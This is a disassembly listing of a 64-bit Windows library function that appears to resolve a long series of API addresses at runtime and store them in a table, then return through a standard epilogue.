mov rdx, qword [0x18003f3c8]
mov rcx, rdi
mov qword [0x18003ea38], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f3d0]
mov rcx, rbp
mov qword [0x18003ea40], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f3d8]
mov rcx, rdi
mov qword [0x18003ea48], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f3e0]
mov rcx, rdi
mov qword [0x18003ea50], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f3e8]
mov rcx, rdi
mov qword [0x18003ea58], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f3f0]
mov rcx, rdi
mov qword [0x18003ea60], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f3f8]
mov rcx, rdi
mov qword [0x18003ea68], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f400]
mov rcx, rdi
mov qword [0x18003ea70], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f408]
mov rcx, rdi
mov qword [0x18003ea78], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f410]
mov rcx, rdi
mov qword [0x18003ea80], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f418]
mov rcx, rdi
mov qword [0x18003ea88], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f420]
mov rcx, rdi
mov qword [0x18003ea90], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f428]
mov rcx, rdi
mov qword [0x18003ea98], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f438]
mov rcx, rdi
mov qword [0x18003eaa0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f430]
mov rcx, rdi
mov qword [0x18003eab0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f440]
mov rcx, rdi
mov qword [0x18003eaa8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f448]
mov rcx, rsi
mov qword [0x18003eab8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f450]
mov rcx, r13
mov qword [0x18003eac0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f458]
mov rcx, rdi
mov qword [0x18003eac8], rax
call qword [0x18003e6f8]
mov rbx, qword [rsp + 0x20]
mov rdx, qword [0x18003f460]
mov rcx, rbx
mov qword [0x18003ead0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f468]
mov rcx, rdi
mov qword [0x18003ead8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f470]
mov qword [0x18003eae0], rax
mov rcx, rbx
call qword [0x18003e6f8]
mov rdx, qword [0x18003f478]
mov rcx, rbx
mov qword [0x18003eae8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f480]
mov rcx, rbx
mov qword [0x18003eaf0], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f488]
mov rcx, rbx
mov qword [0x18003eaf8], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f490]
mov rcx, rbx
mov qword [0x18003eb00], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f498]
mov rcx, rbx
mov qword [0x18003eb08], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f4a0]
mov rcx, rbx
mov qword [0x18003eb10], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f4a8]
mov rcx, rdi
mov qword [0x18003eb18], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f4b0]
mov rcx, rdi
mov qword [0x18003eb20], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f4b8]
mov rcx, rdi
mov qword [0x18003eb28], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f4c0]
mov rcx, rbx
mov qword [0x18003eb30], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f4c8]
mov rcx, rdi
mov qword [0x18003eb38], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f4d0]
mov rcx, rdi
mov qword [0x18003eb40], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f4d8]
mov rcx, qword [rsp + 0x98]
mov qword [0x18003eb48], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f4e0]
mov rcx, qword [rsp + 0x98]
mov qword [0x18003eb50], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f4e8]
mov rcx, rbp
mov qword [0x18003eb58], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f4f0]
mov rcx, rbp
mov qword [0x18003eb60], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f4f8]
mov rcx, rsi
mov qword [0x18003eb68], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f500]
mov rcx, rbp
mov qword [0x18003eb70], rax
call qword [0x18003e6f8]
mov rdx, qword [0x18003f508]
mov rcx, rbp
mov qword [0x18003eb78], rax
call qword [0x18003e6f8]
mov rcx, qword [0x18003efb0]
mov qword [0x18003eb80], rax
call fcn.1800067d8
mov qword [0x18003f010], rax
mov rcx, qword [0x18003f640]
call fcn.1800067d8
mov rcx, qword [0x18003f638]
mov qword [0x18003f8f0], rax
call fcn.1800067d8
mov rcx, qword [0x18003eff0]
mov qword [0x18003f8e8], rax
call fcn.1800067d8
mov rcx, qword [0x18003ef98]
mov qword [0x18003f018], rax
call fcn.1800067d8
mov rcx, qword [0x18003efa0]
mov qword [0x18003f008], rax
call fcn.1800067d8
mov qword [0x18003f000], rax
add rsp, 0x38
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret